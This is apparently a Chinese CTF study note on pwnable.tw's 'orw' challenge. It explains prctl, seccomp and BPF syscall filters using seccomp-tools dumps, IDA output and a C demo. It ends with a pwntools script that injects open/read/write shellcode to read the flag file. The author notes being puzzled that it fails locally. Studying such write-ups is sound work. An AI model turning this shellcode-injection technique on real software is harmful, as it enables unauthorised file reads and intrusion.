Prctl(用户和内核沟通的一个绝佳函数),这个函数可以对进程进行一些设置。

seccomp-tools dump ./orw
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

https://www.coder.rs/%E5%BA%95%E5%B1%82%E6%8E%A2%E7%B4%A2/%E4%BB%8Eprctl%E5%87%BD%E6%95%B0%E5%BC%80%E5%A7%8B%E5%AD%A6%E4%B9%A0%E6%B2%99%E7%AE%B1%E8%A7%84%E5%88%99/#1prctl

(1).PR_SET_SECCOMP(22):当第一个参数是 PR_SET_SECCOMP,第二个参数 argv2 为 1 的时候,表示允许的系统调用有 read,write,exit 和 sigereturn;当 argv 等于 2 的时候,表示允许的系统调用由 argv3 指向 sock_fprog 结构体定义,该结构体成员指向的 sock_filter 可以定义过滤任意系统调用和系统调用参数。(细节见下图)

(2).PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0) 表示禁用系统调用 execve() 函数,同时,这个选项可以通过 fork() 函数和 clone() 函数继承给子进程。

struct sock_fprog {
    unsigned short        len;    /* 指令个数 */
    struct sock_filter *filter; /*指向包含struct sock_filter的结构体数组指针*/
}
struct sock_filter {            /* Filter block */
    __u16 code;                 /* Actual filter code,bpf指令码,后面我们会详细地学习一下 */
    __u8  jt;                   /* Jump true */
    __u8  jf;                   /* Jump false */
    __u32 k;                    /* Generic multiuse field */
};
//seccomp-data结构体记录当前正在进行bpf规则检查的系统调用信息
struct seccomp_data{
    int nr;//系统调用号
    __u32 arch;//调用架构
    __u64 instruction_pointer;//CPU指令指针
    __u64 argv[6];//寄存器的值,x86下是ebx,exc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9
}

导入 ida 后反编译如下:

unsigned int orw_seccomp()
{
  sock_fprog v1; // [esp+4h] [ebp-84h] BYREF
  char v2[96]; // [esp+Ch] [ebp-7Ch] BYREF
  unsigned int v3; // [esp+6Ch] [ebp-1Ch]
 
  v3 = __readgsdword(0x14u);
  qmemcpy(v2, &set_rule, sizeof(v2));
  v1.len = 12;
  v1.filter = (struct sock_filter *)v2;
  prctl(38, 1, 0, 0, 0);
  prctl(22, 2, &v1);
  return __readgsdword(0x14u) ^ v3;
}

BPF 过滤规则

seccomp 是 linux 保护进程安全的一种保护机制,它通过对系统调用函数的限制,来保护内核态的安全。如果按默认 seccomp 机制来说,只能够调用 exit sigreturn read write 四种系统调用。如果要自定义,可以用 BPF 指令集设置过滤模式(最终得到的就是一开始 seccommp_tools 的结果)

BPF_LD:加载操作,BPF_H 表示按照字节传送,BPF_W 表示按照双字来传送,BPF_B 表示传送单个字节。

BPF_LDX:从内存中加载 byte/half-word/word/double-word。

BPF_ST,BPF_STX:存储操作

BPF_ALU,BPT_ALU64:逻辑操作运算。

BPT_JMP:跳转操作,可以和 JGE,JGT,JEQ,JSET 一起表示有条件的跳转,和 BPF_JA 一起表示没有条件的跳转。

#include <asm/unistd_64.h>
#include <fcntl.h>
#include <linux/bpf.h> //off和imm都是有符号类型,编码信息定义在内核头文件linux/bpf.h
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <stddef.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <unistd.h>
 
int main() {
    struct sock_filter filter[] = {
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, 0), // 0x00
        BPF_JUMP(BPF_JMP | BPF_JEQ, __NR_execve, 1, 0),
        BPF_JUMP(BPF_JMP | BPF_JGE, __NR_read, 1, 0),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ERRNO),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    };
    struct sock_fprog prog = {
        .len = sizeof(filter) / sizeof(filter[0]),
        .filter = filter,
    };
    // execve("/bin/sh", 0, 0); 此处没有被禁用
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
        perror("prctl");
        return 1;
    }
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
        perror("prctl");
        return 1;
    }
    execve("/bin/sh", 0, 0); //此处被禁用
    puts("OK");
    return 0;
}
orw seccomp-tools dump ./bpf
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0003
 0002: 0x35 0x01 0x00 0x00000000  if (A >= 0x0) goto 0004
 0003: 0x06 0x00 0x00 0x00050000  return ERRNO(0)
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW

https://docs.pwntools.com/en/stable/shellcraft.html

很奇怪,本地就是跑不起来

.bss              NOBITS          0804a040 001028 0000e8 00  WA  0   0 32

bss 段好像没有执行权限啊,按理来说 wp 不可能跑通,但是远程又打通了,甚怪

#!/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from pwn import p64, u64, p32, u32
import os
 
context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'
context.arch = 'i386'
 
host = 'chall.pwnable.tw'
port = 10001
fileName = './orw'
# libcName = './libc.so.6'
# libc = ELF(libcName)
# elf = ELF(fileName)
 
r = process(fileName)
# r = remote(host, port)
 
 
def debug(p, cmd=''):
    if os.environ.get('VSCODE_INJECTION', None):
        return
    gdb.attach(p, cmd)
    pause()
 
 
debug(r)
 
 
sc = asm(
    shellcraft.i386.linux.open(b'/home/orw/flag') +
    shellcraft.i386.linux.read('eax', 'esp', 50) +
    shellcraft.i386.linux.write('1', 'esp', 50)
)
 
r.sendafter(b':', sc)
r.interactive()